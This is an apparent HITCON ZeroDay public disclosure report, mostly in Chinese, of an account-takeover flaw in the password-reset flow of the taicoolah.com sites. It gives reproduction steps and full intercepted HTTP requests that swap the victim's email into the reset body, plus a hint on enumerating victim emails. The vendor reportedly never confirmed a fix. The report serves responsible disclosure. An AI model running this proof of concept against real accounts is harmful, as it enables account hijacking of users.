Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-01072
- Vendor: 就要靠北™/2manylinks/taicoolah.com
- Title: 就要靠北™/2manylinks Account Take Over
- Introduction: Account Takeover via insecure password reset endpoint
處理狀態
目前狀態
公開
Last Update : 2025/10/27
-
新提交
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已審核
-
已通報
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未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/08/27 10:21:51 : 新提交 (由 Tobydog 更新此狀態)
- 2025/08/27 10:22:54 : 新提交 (由 Tobydog 更新此狀態)
- 2025/08/29 14:31:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/03 16:32:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/03 16:32:37 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/03 16:32:37 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/10/27 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-01072
- 通報者:tobydog0501 (Tobydog)
- 風險:嚴重
- 類型:不安全的直接存取物件 (Insecure Direct Object References, IDOR)
參考資料
攻擊者可經由該漏洞取得系統中的其他使用者的資料或是系統檔案。
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://cowbei.taicoolah.com
https://links.taicoolah.com
https://links.taicoolah.com
敘述
描述
使用者可以藉由網站"忘記密碼"的功能來更改他人的密碼,進而奪取帳號。
重現步驟
- 進入忘記密碼頁面,並輸入攻擊者的帳號後,輸入驗證碼。
- 隨意輸入更改後的密碼,並攔截此請求
- 修改攻擊者的email為受害者email,送出請求即可
PS: 受害者email可以使用忘記密碼功能來爆破搜尋
POC
攻擊者mail: [email protected]
受害者mail: [email protected]
攔截重設密碼請求:
POST /forgot-password HTTP/2
Host: cowbei.taicoolah.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/x-component
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://cowbei.taicoolah.com/forgot-password
Next-Action: 7ffce86d84f675dfff62f2b1bd93246b30e3b82a73
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22(sections)%22%2C%7B%22children%22%3A%5B%22forgot-password%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Fforgot-password%22%2C%22refresh%22%5D%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain;charset=UTF-8
Content-Length: 55
Origin: https://cowbei.taicoolah.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
["[email protected]","HackedPassword@","HackedPassword@"]
並修改為
POST /forgot-password HTTP/2
Host: cowbei.taicoolah.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/x-component
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://cowbei.taicoolah.com/forgot-password
Next-Action: 7ffce86d84f675dfff62f2b1bd93246b30e3b82a73
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22(sections)%22%2C%7B%22children%22%3A%5B%22forgot-password%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Fforgot-password%22%2C%22refresh%22%5D%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain;charset=UTF-8
Content-Length: 55
Origin: https://cowbei.taicoolah.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
["[email protected]","HackedPassword@","HackedPassword@"]
此時以密碼HackedPassword@登入[email protected]:
風險
使用者可以利用此漏洞,奪取任意帳號,進行任意操作
https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
修補建議
在輸入驗證碼後,配發一個暫時的cookie,並在重設密碼時讀取此cookie,而非body的email。
擷圖
留言討論
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聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。